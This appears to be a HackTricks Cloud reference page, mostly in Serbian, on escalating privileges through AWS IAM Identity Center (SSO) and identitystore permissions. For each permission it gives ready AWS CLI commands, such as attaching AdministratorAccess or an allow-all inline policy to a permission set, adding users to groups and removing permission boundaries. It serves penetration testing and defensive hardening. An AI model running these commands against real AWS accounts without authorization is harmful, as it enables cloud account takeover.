AWS - SSO & identitystore Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
AWS Identity Center / AWS SSO
Za više informacija o AWS Identity Center / AWS SSO pogledajte:
AWS - IAM, Identity Center & SSO Enum
Warning
Imajte na umu da su, po defaultu, samo korisnici sa dozvolama iz Management Account-a oni koji će moći da pristupe i da kontrolišu IAM Identity Center.
Korisnici iz drugih naloga to mogu samo omogućiti ako je taj nalog Delegated Administrator.
Pogledajte dokumentaciju za više informacija.
Resetovanje lozinke
Jednostavan način za eskalaciju privilegija u ovakvim slučajevima bio bi imati dozvolu koja omogućava resetovanje korisničkih lozinki. Nažalost, moguće je samo poslati email korisniku da resetuje lozinku, tako da biste morali imati pristup korisnikovom email-u.
identitystore:CreateGroupMembership
Sa ovom dozvolom moguće je dodati korisnika u grupu tako da će naslediti sve dozvole koje ta grupa ima.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Napadač sa ovom dozvolom može dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Napadač koji ima ovo dopuštenje mogao bi dodeliti dodatna permissions Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Napadač sa ovom dozvolom može dodeliti dodatne dozvole Permission Set-u koji je dodeljen korisniku pod njegovom kontrolom.
Warning
Da biste zloupotrebili ove dozvole u ovom slučaju, morate znati name of a customer managed policy that is inside ALL the accounts koje će biti pogođene.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Napadač koji ima ovu dozvolu može dodeliti Permission Set korisniku pod svojom kontrolom na account.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Vraća STS kratkoročne kredencijale za dati naziv role koji je dodeljen korisniku.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Međutim, potreban je access token koji nisam siguran kako da dobijem (TODO).
sso:DetachManagedPolicyFromPermissionSet
Napadač sa ovom dozvolom može ukloniti povezanost između AWS managed policy i navedenog permission seta. Moguće je dodeliti više privilegija putem detaching a managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Napadač sa ovom dozvolom može ukloniti vezu između Customer managed policy i navedenog permission set-a. Moguće je dodeliti dodatne privilegije odvajanjem managed policy (deny policy).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Napadač koji ima ovu dozvolu može ukloniti dozvole iz inline policy u okviru permission set-a. Moguće je dodeliti više privilegija odvajanjem inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Napadač sa ovom dozvolom može ukloniti Permission Boundary iz permission seta. To može omogućiti dodeljivanje više privilegija uklanjanjem ograničenja koja Permission Boundary nameće permission setu.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

